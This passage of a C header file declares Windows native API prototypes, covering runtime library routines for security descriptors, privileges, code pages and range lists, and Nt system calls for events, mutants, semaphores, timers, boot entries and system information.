SecurityDescriptor,\r\n    IN PSID Group OPTIONAL,\r\n    IN BOOLEAN GroupDefaulted OPTIONAL\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlGetGroupSecurityDescriptor (\r\n    IN  PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    OUT PSID *Group,\r\n    OUT PBOOLEAN GroupDefaulted\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlMakeSelfRelativeSD (\r\n    IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor,\r\n    OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor,\r\n    _Inout_ PULONG BufferLength\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAbsoluteToSelfRelativeSD (\r\n    IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor,\r\n    OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor,\r\n    _Inout_ PULONG BufferLength\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSelfRelativeToAbsoluteSD (\r\n    IN PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor,\r\n    OUT OPTIONAL PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor,\r\n    _Inout_ PULONG AbsoluteSecurityDescriptorSize,\r\n    OUT OPTIONAL PACL Dacl,\r\n    _Inout_ PULONG DaclSize,\r\n    OUT OPTIONAL PACL Sacl,\r\n    _Inout_ PULONG SaclSize,\r\n    OUT OPTIONAL PSID Owner,\r\n    _Inout_ PULONG OwnerSize,\r\n    OUT OPTIONAL PSID PrimaryGroup,\r\n    _Inout_ PULONG PrimaryGroupSize\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSelfRelativeToAbsoluteSD2 (\r\n    _Inout_ PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor,\r\n    _Inout_ PULONG pBufferSize\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlNewSecurityGrantedAccess (\r\n    ACCESS_MASK DesiredAccess,\r\n    PPRIVILEGE_SET Privileges,\r\n    PULONG Length,\r\n    HANDLE Token,\r\n    PGENERIC_MAPPING GenericMapping,\r\n    PACCESS_MASK RemainingDesiredAccess\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlMapSecurityErrorToNtStatus (\r\n    SECURITY_STATUS Error\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlImpersonateSelf (\r\n    IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAdjustPrivilege (\r\n    ULONG Privilege,\r\n    BOOLEAN Enable,\r\n    BOOLEAN Client,\r\n    PBOOLEAN WasEnabled\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAcquirePrivilege (\r\n    PULONG Privilege,\r\n    ULONG NumPriv,\r\n    ULONG Flags,\r\n    PVOID *ReturnedState\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlReleasePrivilege (\r\n    PVOID StatePointer\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlRunEncodeUnicodeString(\r\n    PUCHAR          Seed        OPTIONAL,\r\n    PUNICODE_STRING String\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlRunDecodeUnicodeString(\r\n    UCHAR           Seed,\r\n    PUNICODE_STRING String\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlEraseUnicodeString(\r\n    PUNICODE_STRING String\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlFindMessage(\r\n    PVOID DllHandle,\r\n    ULONG MessageTableId,\r\n    ULONG MessageLanguageId,\r\n    ULONG MessageId,\r\n    PMESSAGE_RESOURCE_ENTRY *MessageEntry\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlFormatMessage(\r\n\tIN PWSTR MessageFormat,\r\n\tIN ULONG MaximumWidth,\r\n\tIN BOOLEAN IgnoreInserts,\r\n\tIN BOOLEAN ArgumentsAreAnsi,\r\n\tIN BOOLEAN ArgumentsAreAnArray,\r\n\tIN va_list *Arguments,\r\n\tOUT PWSTR Buffer,\r\n\tIN ULONG Length,\r\n\tOUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlFormatMessageEx(\r\n\tIN PWSTR MessageFormat,\r\n\tIN ULONG MaximumWidth,\r\n\tIN BOOLEAN IgnoreInserts,\r\n\tIN BOOLEAN ArgumentsAreAnsi,\r\n\tIN BOOLEAN ArgumentsAreAnArray,\r\n\tIN va_list *Arguments,\r\n\tOUT PWSTR Buffer,\r\n\tIN ULONG Length,\r\n\tOUT OPTIONAL PULONG ReturnLength,\r\n\tOUT OPTIONAL PPARSE_MESSAGE_CONTEXT ParseContext\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlInitializeRXact(\r\n    IN HANDLE RootRegistryKey,\r\n    IN BOOLEAN CommitIfNecessary,\r\n    OUT PRTL_RXACT_CONTEXT *RXactContext\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlStartRXact(\r\n    IN PRTL_RXACT_CONTEXT RXactContext\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAbortRXact(\r\n    IN PRTL_RXACT_CONTEXT RXactContext\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAddAttributeActionToRXact(\r\n    IN PRTL_RXACT_CONTEXT RXactContext,\r\n    IN RTL_RXACT_OPERATION Operation,\r\n    IN PUNICODE_STRING SubKeyName,\r\n    IN HANDLE KeyHandle,\r\n    IN PUNICODE_STRING AttributeName,\r\n    IN ULONG NewValueType,\r\n    IN PVOID NewValue,\r\n    IN ULONG NewValueLength\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAddActionToRXact(\r\n    IN PRTL_RXACT_CONTEXT RXactContext,\r\n    IN RTL_RXACT_OPERATION Operation,\r\n    IN PUNICODE_STRING SubKeyName,\r\n    IN ULONG NewKeyValueType,\r\n    IN PVOID NewKeyValue OPTIONAL,\r\n    IN ULONG NewKeyValueLength\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlApplyRXact(\r\n    IN PRTL_RXACT_CONTEXT RXactContext\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlApplyRXactNoFlush(\r\n    IN PRTL_RXACT_CONTEXT RXactContext\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlNtStatusToDosError (\r\n   NTSTATUS Status\r\n   );\r\n\r\nULONG\r\nNTAPI\r\nRtlNtStatusToDosErrorNoTeb (\r\n   NTSTATUS Status\r\n   );\r\n\r\nPPEB\r\nRtlGetCurrentPeb (\r\n    VOID\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCustomCPToUnicodeN(\r\n\tIN PCPTABLEINFO CustomCP,\r\n\tOUT PWCH UnicodeString,\r\n\tIN ULONG MaxBytesInUnicodeString,\r\n\tOUT OPTIONAL PULONG BytesInUnicodeString,\r\n\tIN PCH CustomCPString,\r\n\tIN ULONG BytesInCustomCPString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUnicodeToCustomCPN(\r\n\tIN PCPTABLEINFO CustomCP,\r\n\tOUT PCH CustomCPString,\r\n\tIN ULONG MaxBytesInCustomCPString,\r\n\tOUT OPTIONAL PULONG BytesInCustomCPString,\r\n\tIN PWCH UnicodeString,\r\n\tIN ULONG BytesInUnicodeString\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlUpcaseUnicodeToCustomCPN(\r\n    IN PCPTABLEINFO CustomCP,\r\n    OUT PCH CustomCPString,\r\n    IN ULONG MaxBytesInCustomCPString,\r\n    OUT OPTIONAL PULONG BytesInCustomCPString,\r\n    IN PWCH UnicodeString,\r\n    IN ULONG BytesInUnicodeString\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlInitCodePageTable(\r\n    IN PUSHORT TableBase,\r\n    OUT PCPTABLEINFO CodePageTable\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlInitNlsTables(\r\n    IN PUSHORT AnsiNlsBase,\r\n    IN PUSHORT OemNlsBase,\r\n    IN PUSHORT LanguageNlsBase,\r\n    OUT PNLSTABLEINFO TableInfo\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlResetRtlTranslations(\r\n    PNLSTABLEINFO TableInfo\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlGetDefaultCodePage(\r\n    OUT PUSHORT AnsiCodePage,\r\n    OUT PUSHORT OemCodePage\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlInitializeRangeList(\r\n    _Inout_ PRTL_RANGE_LIST RangeList\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlFreeRangeList(\r\n    IN PRTL_RANGE_LIST RangeList\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCopyRangeList(\r\n    OUT PRTL_RANGE_LIST CopyRangeList,\r\n    IN PRTL_RANGE_LIST RangeList\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAddRange(\r\n    _Inout_ PRTL_RANGE_LIST RangeList,\r\n    IN ULONGLONG Start,\r\n    IN ULONGLONG End,\r\n    IN UCHAR Attributes,\r\n    IN ULONG Flags,\r\n    IN PVOID UserData,  OPTIONAL\r\n    IN PVOID Owner      OPTIONAL\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDeleteRange(\r\n    _Inout_ PRTL_RANGE_LIST RangeList,\r\n    IN ULONGLONG Start,\r\n    IN ULONGLONG End,\r\n    IN PVOID Owner\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDeleteOwnersRanges(\r\n    _Inout_ PRTL_RANGE_LIST RangeList,\r\n    IN PVOID Owner\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlFindRange(\r\n    IN PRTL_RANGE_LIST RangeList,\r\n    IN ULONGLONG Minimum,\r\n    IN ULONGLONG Maximum,\r\n    IN ULONG Length,\r\n    IN ULONG Alignment,\r\n    IN ULONG Flags,\r\n    IN UCHAR AttributeAvailableMask,\r\n    IN PVOID Context OPTIONAL,\r\n    IN PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL,\r\n    OUT PULONGLONG Start\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlIsRangeAvailable(\r\n    IN PRTL_RANGE_LIST RangeList,\r\n    IN ULONGLONG Start,\r\n    IN ULONGLONG End,\r\n    IN ULONG Flags,\r\n    IN UCHAR AttributeAvailableMask,\r\n    IN PVOID Context OPTIONAL,\r\n    IN PRTL_CONFLICT_RANGE_CALLBACK Callback OPTIONAL,\r\n    OUT PBOOLEAN Available\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlGetFirstRange(\r\n    IN PRTL_RANGE_LIST RangeList,\r\n    OUT PRTL_RANGE_LIST_ITERATOR Iterator,\r\n    OUT PRTL_RANGE *Range\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlGetLastRange(\r\n    IN PRTL_RANGE_LIST RangeList,\r\n    OUT PRTL_RANGE_LIST_ITERATOR Iterator,\r\n    OUT PRTL_RANGE *Range\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlGetNextRange(\r\n    _Inout_ PRTL_RANGE_LIST_ITERATOR Iterator,\r\n    OUT PRTL_RANGE *Range,\r\n    IN BOOLEAN MoveForwards\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlMergeRangeLists(\r\n    OUT PRTL_RANGE_LIST MergedRangeList,\r\n    IN PRTL_RANGE_LIST RangeList1,\r\n    IN PRTL_RANGE_LIST RangeList2,\r\n    IN ULONG Flags\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlInvertRangeList(\r\n    OUT PRTL_RANGE_LIST InvertedRangeList,\r\n    IN PRTL_RANGE_LIST RangeList\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlVolumeDeviceToDosName(\r\n    IN  PVOID           VolumeDeviceObject,\r\n    OUT PUNICODE_STRING DosName\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateSystemVolumeInformationFolder(\r\n    IN  PUNICODE_STRING VolumeRootPath\r\n    );\r\n\r\n#if defined(_WINNT_) && (_MSC_VER < 1300)\r\ntypedef POSVERSIONINFOW PRTL_OSVERSIONINFOW;\r\ntypedef POSVERSIONINFOEXW PRTL_OSVERSIONINFOEXW;\r\n\r\ntypedef LONG (NTAPI *PVECTORED_EXCEPTION_HANDLER)( struct _EXCEPTION_POINTERS *ExceptionInfo );\r\ntypedef VOID (NTAPI * APC_CALLBACK_FUNCTION) (DWORD , PVOID, PVOID);\r\n\r\ntypedef const GUID *LPCGUID;\r\n\r\n#endif\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlGetVersion(\r\n    OUT PRTL_OSVERSIONINFOW lpVersionInformation\r\n    );\r\n\r\nNTSTATUS\r\nRtlVerifyVersionInfo(\r\n    IN PRTL_OSVERSIONINFOEXW VersionInfo,\r\n    IN ULONG TypeMask,\r\n    IN ULONGLONG  ConditionMask\r\n    );\r\n\r\nBOOLEAN\r\nRtlFlushSecureMemoryCache(\r\n    PVOID   lpAddr,\r\n    SIZE_T  size\r\n    );\r\n\r\nLONG\r\nNTAPI\r\nRtlGetLastWin32Error(\r\n    VOID\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlSetLastWin32ErrorAndNtStatusFromNtStatus(\r\n    NTSTATUS Status\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlSetLastWin32Error(\r\n    LONG Win32Error\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlRestoreLastWin32Error(\r\n    LONG Win32Error\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlGetSetBootStatusData(\r\n    IN HANDLE Handle,\r\n    IN BOOLEAN Get,\r\n    IN RTL_BSD_ITEM_TYPE DataItem,\r\n    IN PVOID DataBuffer,\r\n    IN ULONG DataBufferLength,\r\n    OUT PULONG ByteRead OPTIONAL\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlLockBootStatusData(\r\n    OUT PHANDLE BootStatusDataHandle\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlUnlockBootStatusData(\r\n    IN HANDLE BootStatusDataHandle\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateBootStatusDataFile(\r\n    VOID\r\n    );\r\n\r\n//\r\n\r\n//\r\n// begin_ntapi\r\nNTSTATUS\r\nNTAPI\r\nNtDelayExecution(\r\n    IN BOOLEAN Alertable,\r\n    IN PLARGE_INTEGER DelayInterval\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQuerySystemEnvironmentValue (\r\n    IN PUNICODE_STRING VariableName,\r\n    OUT PWSTR VariableValue,\r\n    IN USHORT ValueLength,\r\n    OUT OPTIONAL PUSHORT ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetSystemEnvironmentValue (\r\n    IN PUNICODE_STRING VariableName,\r\n    IN PUNICODE_STRING VariableValue\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQuerySystemEnvironmentValueEx (\r\n    IN PUNICODE_STRING VariableName,\r\n    IN LPGUID VendorGuid,\r\n    OUT OPTIONAL PVOID Value,\r\n    _Inout_ PULONG ValueLength,\r\n    OUT OPTIONAL PULONG Attributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetSystemEnvironmentValueEx (\r\n    IN PUNICODE_STRING VariableName,\r\n    IN LPGUID VendorGuid,\r\n    _In_opt_ PVOID Value,\r\n    IN ULONG ValueLength,\r\n    IN ULONG Attributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtEnumerateSystemEnvironmentValuesEx (\r\n    IN ULONG InformationClass,\r\n    OUT PVOID Buffer,\r\n    _Inout_ PULONG BufferLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAddBootEntry (\r\n    IN PBOOT_ENTRY BootEntry,\r\n    OUT OPTIONAL PULONG Id\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtDeleteBootEntry (\r\n    IN ULONG Id\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtModifyBootEntry (\r\n    IN PBOOT_ENTRY BootEntry\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtEnumerateBootEntries (\r\n    OUT OPTIONAL PVOID Buffer,\r\n    _Inout_ PULONG BufferLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryBootEntryOrder (\r\n    OUT OPTIONAL PULONG Ids,\r\n    _Inout_ PULONG Count\r\n\t);\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetBootEntryOrder (\r\n    IN PULONG Ids,\r\n    IN ULONG Count\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryBootOptions (\r\n    OUT OPTIONAL PBOOT_OPTIONS BootOptions,\r\n    _Inout_ PULONG BootOptionsLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetBootOptions (\r\n    IN PBOOT_OPTIONS BootOptions,\r\n    IN ULONG FieldsToChange\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtTranslateFilePath (\r\n    IN PFILE_PATH InputFilePath,\r\n    IN ULONG OutputType,\r\n    OUT OPTIONAL PFILE_PATH OutputFilePath,\r\n    _Inout_opt_ PULONG OutputFilePathLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAddDriverEntry (\r\n    IN PEFI_DRIVER_ENTRY DriverEntry,\r\n    OUT OPTIONAL PULONG Id\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtDeleteDriverEntry (\r\n    IN ULONG Id\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtModifyDriverEntry (\r\n    IN PEFI_DRIVER_ENTRY DriverEntry\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtEnumerateDriverEntries (\r\n    OUT PVOID Buffer,\r\n    _Inout_ PULONG BufferLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryDriverEntryOrder (\r\n    OUT PULONG Ids,\r\n    _Inout_ PULONG Count\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetDriverEntryOrder (\r\n    IN PULONG Ids,\r\n    IN ULONG Count\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtClearEvent (\r\n    IN HANDLE EventHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateEvent (\r\n    OUT PHANDLE EventHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN EVENT_TYPE EventType,\r\n    IN BOOLEAN InitialState\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenEvent (\r\n    OUT PHANDLE EventHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtPulseEvent (\r\n    IN HANDLE EventHandle,\r\n    OUT OPTIONAL PLONG PreviousState\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryEvent (\r\n    IN HANDLE EventHandle,\r\n    IN EVENT_INFORMATION_CLASS EventInformationClass,\r\n    OUT PVOID EventInformation,\r\n    IN ULONG EventInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtResetEvent (\r\n    IN HANDLE EventHandle,\r\n    OUT OPTIONAL PLONG PreviousState\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetEvent (\r\n    IN HANDLE EventHandle,\r\n    OUT OPTIONAL PLONG PreviousState\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetEventBoostPriority (\r\n    IN HANDLE EventHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateEventPair (\r\n    OUT PHANDLE EventPairHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenEventPair (\r\n    OUT PHANDLE EventPairHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtWaitLowEventPair (\r\n    IN HANDLE EventPairHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtWaitHighEventPair (\r\n    IN HANDLE EventPairHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetLowWaitHighEventPair (\r\n    IN HANDLE EventPairHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetHighWaitLowEventPair (\r\n    IN HANDLE EventPairHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetLowEventPair (\r\n    IN HANDLE EventPairHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetHighEventPair (\r\n    IN HANDLE EventPairHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateMutant (\r\n    OUT PHANDLE MutantHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN BOOLEAN InitialOwner\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenMutant (\r\n    OUT PHANDLE MutantHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryMutant (\r\n    IN HANDLE MutantHandle,\r\n    IN MUTANT_INFORMATION_CLASS MutantInformationClass,\r\n    OUT PVOID MutantInformation,\r\n    IN ULONG MutantInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtReleaseMutant (\r\n    IN HANDLE MutantHandle,\r\n    OUT OPTIONAL PLONG PreviousCount\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateSemaphore (\r\n    OUT PHANDLE SemaphoreHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN LONG InitialCount,\r\n    IN LONG MaximumCount\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenSemaphore(\r\n    OUT PHANDLE SemaphoreHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQuerySemaphore (\r\n    IN HANDLE SemaphoreHandle,\r\n    IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass,\r\n    OUT PVOID SemaphoreInformation,\r\n    IN ULONG SemaphoreInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtReleaseSemaphore(\r\n    IN HANDLE SemaphoreHandle,\r\n    IN LONG ReleaseCount,\r\n    OUT OPTIONAL PLONG PreviousCount\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateTimer (\r\n    OUT PHANDLE TimerHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN TIMER_TYPE TimerType\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenTimer (\r\n    OUT PHANDLE TimerHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCancelTimer (\r\n    IN HANDLE TimerHandle,\r\n    OUT OPTIONAL PBOOLEAN CurrentState\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryTimer (\r\n    IN HANDLE TimerHandle,\r\n    IN TIMER_INFORMATION_CLASS TimerInformationClass,\r\n    OUT PVOID TimerInformation,\r\n    IN ULONG TimerInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetTimer (\r\n    IN HANDLE TimerHandle,\r\n    IN PLARGE_INTEGER DueTime,\r\n    _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine,\r\n    _In_opt_ PVOID TimerContext,\r\n    IN BOOLEAN ResumeTimer,\r\n    _In_opt_ LONG Period,\r\n    OUT OPTIONAL PBOOLEAN PreviousState\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQuerySystemTime (\r\n    OUT PLARGE_INTEGER SystemTime\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetSystemTime (\r\n    _In_opt_ PLARGE_INTEGER SystemTime,\r\n    OUT OPTIONAL PLARGE_INTEGER PreviousTime\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryTimerResolution (\r\n    OUT PULONG MaximumTime,\r\n    OUT PULONG MinimumTime,\r\n    OUT PULONG CurrentTime\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetTimerResolution (\r\n    IN ULONG DesiredTime,\r\n    IN BOOLEAN SetResolution,\r\n    OUT PULONG ActualTime\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAllocateLocallyUniqueId (\r\n    OUT PLUID Luid\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetUuidSeed (\r\n    IN PCHAR Seed\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAllocateUuids (\r\n    OUT PULARGE_INTEGER Time,\r\n    OUT PULONG Range,\r\n    OUT PULONG Sequence,\r\n    OUT PCHAR Seed\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateProfile (\r\n    OUT PHANDLE ProfileHandle,\r\n    IN HANDLE Process OPTIONAL,\r\n    IN PVOID ProfileBase,\r\n    IN SIZE_T ProfileSize,\r\n    IN ULONG BucketSize,\r\n    IN PULONG Buffer,\r\n    IN ULONG BufferSize,\r\n    IN KPROFILE_SOURCE ProfileSource,\r\n    IN KAFFINITY Affinity\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtStartProfile (\r\n    IN HANDLE ProfileHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtStopProfile (\r\n    IN HANDLE ProfileHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetIntervalProfile (\r\n    IN ULONG Interval,\r\n    IN KPROFILE_SOURCE Source\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryIntervalProfile (\r\n    IN KPROFILE_SOURCE ProfileSource,\r\n    OUT PULONG Interval\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryPerformanceCounter (\r\n    OUT PLARGE_INTEGER PerformanceCounter,\r\n    OUT OPTIONAL PLARGE_INTEGER PerformanceFrequency\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateKeyedEvent (\r\n    OUT PHANDLE KeyedEventHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN ULONG Flags\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenKeyedEvent (\r\n    OUT PHANDLE KeyedEventHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtReleaseKeyedEvent (\r\n    IN HANDLE KeyedEventHandle,\r\n    IN PVOID KeyValue,\r\n    IN BOOLEAN Alertable,\r\n    _In_opt_ PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtWaitForKeyedEvent (\r\n    IN HANDLE KeyedEventHandle,\r\n    IN PVOID KeyValue,\r\n    IN BOOLEAN Alertable,\r\n    _In_opt_ PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQuerySystemInformation (\r\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\r\n    OUT OPTIONAL PVOID SystemInformation,\r\n    IN ULONG SystemInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetSystemInformation (\r\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\r\n    _In_opt_ PVOID SystemInformation,\r\n    IN ULONG SystemInformationLength\r\n    